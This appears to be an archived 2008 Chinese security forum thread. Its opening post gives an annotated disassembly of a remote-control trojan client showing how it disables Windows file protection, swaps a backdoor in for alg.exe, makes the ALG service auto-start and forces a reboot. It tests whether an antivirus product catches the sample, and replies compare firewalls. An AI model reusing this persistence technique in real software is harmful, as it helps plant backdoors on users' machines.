卡饭论坛's Archiver



Nblock 发表于 2008-7-27 11:57

【黑失败】在"微点"面前果然很失败

[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=7659760e10295dcf6010548433ebae26[/img]

[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=1e34621a3022f4162cb825d27bc959bd[/img] [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=fda02ff84fdf26c4a7365bdacc16d52e[/img]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=f189179643a54ca5be1e054b28c024bf[/img]   [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=2cfa8b775b3d362bb2ff1624ebc22dcf[/img]
[color=#000000]好久不玩样本了,无聊去黑基转转,搞了一头“[b]黑失败[/b]”的生成器下来,说明很强大,猜想它的蓝屏不是杀子系统就是winlogon,有损本本寿命,用重新启动生了一个,一看没壳,汇编写的。[/color]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=7d3aeb10de0a816af2fa04c6bb58960c[/img]
  [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=f025cdbf19a52026b8a861eaf8e56937[/img]
[color=#000000]004011BB          |. 8945 E8       mov dword ptr ss:[ebp-18],eax
004011BE          |. 53             push ebx                               ; /WideBufSize
004011BF          |. FF75 E8       push dword ptr ss:[ebp-18]             ; |WideCharBuf
004011C2          |. 6A FF          push -1                               ; |StringSize = FFFFFFFF (-1.)
004011C4          |. 68 84344000    push 复件_复?00403484                       ; |StringToMap = "C:\windows\system32\alg.exe"
004011C9          |. 6A 00          push 0                                   ; |Options = 0
004011CB          |. 6A 00          push 0                                   ; |CodePage = CP_ACP
004011CD          |. E8 4C030000    call <jmp.&kernel32.MultiByteToWideChar> ; \MultiByteToWideChar
004011D2          |. 68 2E344000    push 复件_复?0040342E                       ; /FileName = "sfc_os.dll"
004011D7          |. E8 2A030000    call <jmp.&kernel32.LoadLibraryA>        ; \LoadLibraryA
004011DC          |. 6A 05          push 5                                   ; /ProcNameOrOrdinal = #5
004011DE          |. 50             push eax                               ; |hModule
004011DF          |. E8 0A030000    call <jmp.&kernel32.GetProcAddress>    ; \GetProcAddress
004011E4          |. 8945 E4       mov dword ptr ss:[ebp-1C],eax
004011E7          |. 6A FF          push -1
004011E9          |. FF75 E8       push dword ptr ss:[ebp-18]
004011EC          |. 6A 00          push 0
004011EE          |. FF55 E4       call dword ptr ss:[ebp-1C]             ;调用SfcFileException对C:\windows\system32\alg.exe去除SFC保护

查找自身3E8资源,释放到%SystemRoot%\system32\目录下命名为DNA.dll,同理找资源7D0释放algdna.exe,接下来

00401343          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
00401348          |. 68 84344000    push 复件_复?00403484                       ; |Buffer = 复件_复?00403484
0040134D          |. E8 A2010000    call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401352          |. 68 56344000    push 复件_复?00403456                       ; /StringToAdd = "\alg.exe"
00401357          |. 68 84344000    push 复件_复?00403484                       ; |ConcatString = "C:\windows\system32\alg.exe"
0040135C          |. E8 F3010000    call <jmp.&kernel32.lstrcatA>          ; \lstrcatA
00401361          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
00401366          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040136C          |. 50             push eax                               ; |Buffer
0040136D          |. E8 82010000    call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401372          |. 68 5F344000    push 复件_复?0040345F                       ; /StringToAdd = "\sdk"
00401377          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040137D          |. 50             push eax                               ; |ConcatString
0040137E          |. E8 D1010000    call <jmp.&kernel32.lstrcatA>          ; \lstrcatA
00401383          |. 6A 01          push 1                                   ; /Flags = REPLACE_EXISTING
00401385          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040138B          |. 50             push eax                               ; |NewName,"C:\windows\system32\sdk"
0040138C          |. 68 84344000    push 复件_复?00403484                       ; |ExistingName = "C:\windows\system32\alg.exe"
00401391          |. E8 82010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,将alg.exe延时搬家到sdk
00401396          |. 6A 04          push 4                                   ; /Flags = DELAY_UNTIL_REBOOT
00401398          |. 6A 00          push 0                                   ; |NewName = NULL
0040139A          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013A0          |. 50             push eax                               ; |ExistingName,"C:\windows\system32\sdk"
004013A1          |. E8 72010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,延时拆房
004013A6          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
004013AB          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013B1          |. 50             push eax                               ; |Buffer
004013B2          |. E8 3D010000    call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
004013B7          |. 68 64344000    push 复件_复?00403464                       ; /StringToAdd = "\algdna.exe"
004013BC          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013C2          |. 50             push eax                               ; |ConcatString
004013C3          |. E8 8C010000    call <jmp.&kernel32.lstrcatA>          ; \lstrcatA
004013C8          |. 6A 01          push 1                                   ; /Flags = REPLACE_EXISTING
004013CA          |. 68 84344000    push 复件_复?00403484                       ; |NewName = "C:\windows\system32\alg.exe"
004013CF          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013D5          |. 50             push eax                               ; |ExistingName,"C:\windows\system32\algdna.exe"
004013D6          |. E8 3D010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,把后门放到拆过房的地基上,重盖房?很勤劳!换个门不可以么?
004013DB          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
004013E0          |. 8D85 D0FDFFFF lea eax,dword ptr ss:[ebp-230]           ; |
004013E6          |. 50             push eax                               ; |PathBuffer
004013E7          |. 6A 00          push 0                                   ; |hModule = NULL
004013E9          |. E8 F4000000    call <jmp.&kernel32.GetModuleFileNameA> ; \GetModuleFileNameA
004013EE          |. 6A 04          push 4                                   ; /Flags = DELAY_UNTIL_REBOOT
004013F0          |. 6A 00          push 0                                   ; |NewName = NULL
004013F2          |. 8D85 D0FDFFFF lea eax,dword ptr ss:[ebp-230]           ; |
004013F8          |. 50             push eax                               ; |ExistingName,"C:\~~\黑失败2008 SP2正式版\复件 复件 客户端.exe"
004013F9          |. E8 1A010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,喝慢性毒药

然后[/color]
[align=left][color=#000000]004013FE          |. 68 3F000F00    push 0F003F
00401403          |. 6A 00          push 0
00401405          |. 6A 00          push 0
00401407          |. E8 A6000000    call <jmp.&advapi32.OpenSCManagerA>
0040140C          |. 8BD8          mov ebx,eax
0040140E          |. 68 FF010F00    push 0F01FF
00401413          |. 68 70344000    push 客户端.00403470                      ; ASCII "ALG"
00401418          |. 53             push ebx
00401419          |. E8 9A000000    call <jmp.&advapi32.OpenServiceA>       ;打开ALG服务
0040141E          |. 8BF8          mov edi,eax
00401420          |. 53             push ebx
00401421          |. E8 7A000000    call <jmp.&advapi32.CloseServiceHandle>
00401426          |. 68 04010000    push 104                               ; /Length = 104 (260.)
0040142B          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
00401431          |. 50             push eax                               ; |Destination
00401432          |. E8 05010000    call <jmp.&kernel32.RtlZeroMemory>    ; \RtlZeroMemory
00401437          |. 6A 00          push 0                                   ; /DisplayName = NULL
00401439          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040143F          |. 50             push eax                               ; |Password
00401440          |. 68 74344000    push 客户端.00403474                      ; |ServiceStartName = "LocalSystem"
00401445          |. 6A 00          push 0                                   ; |pDependencies = NULL
00401447          |. 6A 00          push 0                                   ; |pTagId = NULL
00401449          |. 6A 00          push 0                                   ; |LoadOrderGroup = NULL
0040144B          |. 6A 00          push 0                                   ; |BinaryPathName = NULL
0040144D          |. 6A FF          push -1                               ; |ErrorControl = SERVICE_NO_CHANGE
0040144F          |. 6A 02          push 2                                   ; |StartType = SERVICE_AUTO_START,改变服务启动类型为自动,之前为手动
00401451          |. 68 20010000    push 120                               ; |ServiceType = SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS
00401456          |. 57             push edi                               ; |hService
00401457          |. E8 3E000000    call <jmp.&advapi32.ChangeServiceConfigA>; \ChangeServiceConfigA
0040145C          |. 57             push edi
0040145D          |. E8 3E000000    call <jmp.&advapi32.CloseServiceHandle>

最后拿到自杀令牌准备开机后自杀,^_^

004010BC       /$ 55             push ebp
004010BD       |. 8BEC          mov ebp,esp
004010BF       |. 83C4 EC       add esp,-14
004010C2       |. 8D4D FC       lea ecx,dword ptr ss:[ebp-4]
004010C5       |. E8 12040000    call <jmp.&kernel32.GetCurrentProcess>             ; [GetCurrentProcess
004010CA       |. 51             push ecx                                           ; /phToken
004010CB       |. 68 FF010F00    push 0F01FF                                        ; |DesiredAccess = STANDARD_RIGHTS_REQUIRED|TOKEN_ASSIGN_PRIMARY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY|TOKEN_QUERY_SOURCE|TOKEN_ADJUST_PRIVILEGES|TOKEN_ADJUST_GROUPS|TOKEN_ADJUST_DEFAULT|100
004010D0       |. 50             push eax                                           ; |hProcess
004010D1       |. E8 D6030000    call <jmp.&advapi32.OpenProcessToken>                 ; \OpenProcessToken
004010D6       |. C745 EC 01000000 mov dword ptr ss:[ebp-14],1
004010DD       |. 8D45 F0       lea eax,dword ptr ss:[ebp-10]
004010E0       |. 50             push eax                                           ; /pLocalId
004010E1       |. 68 00344000    push 客户端.00403400                                  ; |Privilege = "SeShutdownPrivilege"
004010E6       |. 6A 00          push 0                                              ; |SystemName = NULL
004010E8       |. E8 B9030000    call <jmp.&advapi32.LookupPrivilegeValueA>          ; \LookupPrivilegeValueA
004010ED       |. C745 F8 02000000 mov dword ptr ss:[ebp-8],2
004010F4       |. 6A 00          push 0                                              ; /pRetLen = NULL
004010F6       |. 6A 00          push 0                                              ; |pPrevState = NULL
004010F8       |. 6A 10          push 10                                               ; |PrevStateSize = 10 (16.)
004010FA       |. 8D45 EC       lea eax,dword ptr ss:[ebp-14]                      ; |
004010FD       |. 50             push eax                                           ; |pNewState
004010FE       |. 6A 00          push 0                                              ; |DisableAllPrivileges = FALSE
00401100       |. FF75 FC       push dword ptr ss:[ebp-4]                             ; |hToken
00401103       |. E8 8C030000    call <jmp.&advapi32.AdjustTokenPrivileges>          ; \AdjustTokenPrivileges
00401108       |. 50             push eax
00401109       |. FF75 FC       push dword ptr ss:[ebp-4]                             ; /hObject
0040110C       |. E8 AD030000    call <jmp.&kernel32.CloseHandle>                   ; \CloseHandle

创建自杀条件

00401462          |. E8 55FCFFFF    call 客户端.004010BC
00401467          |. 6A 00          push 0                                   ; /Reserved = 0
00401469          |. 6A 02          push 2                                   ; |Options = EWX_REBOOT
0040146B          |. E8 1E000000    call <jmp.&user32.ExitWindowsEx>       ; \ExitWindowsEx

总之很好很强大,在微点面前不愧为“黑失败”,只有自杀功能完成了,也就是前面代码为什么会以复件方式出现的原因了。微点两次报警全部放过,房子吔拆了,只不过拆的不是很高名,自杀水平倒是不错,重启后一个病毒进程都没发现,原因见微点日志,^_^。[/color]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=853dc1a11f39959bb631489b2afc525a[/img] [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=5f98a29afbfa8d95a2dc29ae434b32a4[/img]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=d32e737398ba21b865c90054d72eeee9[/img][/align][align=center]
[b][color=#0000ff]BY::unknown author[/color][/b][/align][align=center][b][color=#0000ff][/color][/b][/align]

[[i] 本帖最后由 Nblock 于 2008-7-27 17:15 编辑 [/i]]

killerwhale 发表于 2008-7-27 12:38

呃……  好像再次证明了[url]http://bbs.kafan.cn/thread-293013-1-1.html[/url]这个帖子好像有些不完善的地方

hao198411 发表于 2008-7-27 13:25

那个帖子是人家随手写的···大家看看罢了

kuririn 发表于 2008-7-27 13:33

[quote]原帖由 [i]killerwhale[/i] 于 2008-7-27 12:38 发表 [url=http://bbs.kafan.cn/redirect.php?goto=findpost&pid=4252331&ptid=293281][img]http://bbs.kafan.cn/images/common/back.gif[/img][/url]
呃……  好像再次证明了[url=http://bbs.kafan.cn/thread-293013-1-1.html]http://bbs.kafan.cn/thread-293013-1-1.html[/url]这个帖子好像有些不完善的地方 [/quote]

[url=http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153]http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153[/url]

killerwhale 发表于 2008-7-27 13:50

[quote]原帖由 [i]kuririn[/i] 于 2008-7-27 13:33 发表 [url=http://bbs.kafan.cn/redirect.php?goto=findpost&pid=4252970&ptid=293281][img]http://bbs.kafan.cn/images/common/back.gif[/img][/url]


[url=http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153]http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153[/url] [/quote]


抱歉   我不明白您是什么意思
我说的不完善是指偷梁换柱alg.exe这一步微点不可能不报警     所以根本没有必要考虑新的alg.exe能否过微点的防火墙的问题
至于说每个步骤延时3秒钟……   呵呵   没有了解过微点的判断原理      但是这样的话  微点的免杀是否也太好做了   只要把每一步动作延时就好了……   汗一个
至于你跟局长讨论的防火墙问题……  我认为大多数人用的防火墙(就是在卡饭开坛的)  简单替换后的文件不被拦截是不可能的   但是至于微点的防火墙拦不拦我没有测试过   所以不敢妄加评论   而且用微点不搭配其他防火墙的几乎没有人吧……

[[i] 本帖最后由 killerwhale 于 2008-7-27 14:12 编辑 [/i]]

股林小弟 发表于 2008-7-27 13:56

回复 5楼 killerwhale 的帖子

我就用微点的墙的,个人用户没有那么危险吧

lonbug 发表于 2008-7-27 13:57

过来瞧瞧看

killerwhale 发表于 2008-7-27 15:01

回复 6楼 股林小弟 的帖子

个人用户首要做好的是打全系统补丁
要不是资源特别紧张推荐还是换一些比较专业的防火墙  如OP 风云

wwzh2003 发表于 2008-7-27 15:34

我用的风云,发现网速比以前用微点5墙时好一些

fengyifan 发表于 2008-7-27 15:37

我是菜鸟看不明白啊

saga3721 发表于 2008-7-27 17:31

哈,微点的墙防外完全不清楚,据说微点墙不能隐身,但防内在某种角度上说和ZA一样。见过微点墙和ZA都拦下木马出站,有个样本延时15分钟出站照样被二者拦住,甚至还有ZA没动静微点拦住的样本。还有难道替换系统文件本身不产生非法动作吗?

yinwanan 发表于 2008-7-27 19:45

微点不错的,就是没序列号......

时间简史 发表于 2008-7-27 21:22

呵呵,是不是想说微点很好很强大撒~~~

pen 发表于 2008-7-28 13:48

[quote]原帖由 [i]killerwhale[/i] 于 2008-7-27 13:50 发表 [url=http://bbs.kafan.cn/redirect.php?goto=findpost&pid=4253125&ptid=293281][img]http://bbs.kafan.cn/images/common/back.gif[/img][/url]

至于你跟局长讨论的防火墙问题……  我认为大多数人用的防火墙(就是在卡饭开坛的)  简单替换后的文件不被拦截是不可能的   但是至于微点的防火墙拦不拦我没有测试过   所以不敢妄加评论   而且用[color=blue]微点不搭配其他防火墙的几乎没有人[/color]吧……[/quote]
现在本人平常单用微点,包括它的防火墙(规则五),没有搭配其它的墙。在最初试用微点的一个时期(2006年4月~2006年10月份)内,倒是搭配天网防火墙(自定义规则)。

[[i] 本帖最后由 pen 于 2008-7-28 13:51 编辑 [/i]]

yuhaoyin 发表于 2008-8-4 20:36

貌似是号称纯汇编打造的远控木马 没测试过该木马 免杀不好做

lonelyive 发表于 2008-8-6 17:46

不是很懂,不过支持一下[:17:]

qeadsw 发表于 2008-8-7 23:43

搂主果然是才子,真细心,本人也用过不少防火墙但是实际用处貌似不大,你直接用日至分析到十一种好思路呵呵,谢谢指点了~

terminus 发表于 2008-8-7 23:52

[:06:] 没有拿到样本 暂时不说话

yzx714 发表于 2008-8-8 11:11

永远别想逃出微点~~~~~~~··

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.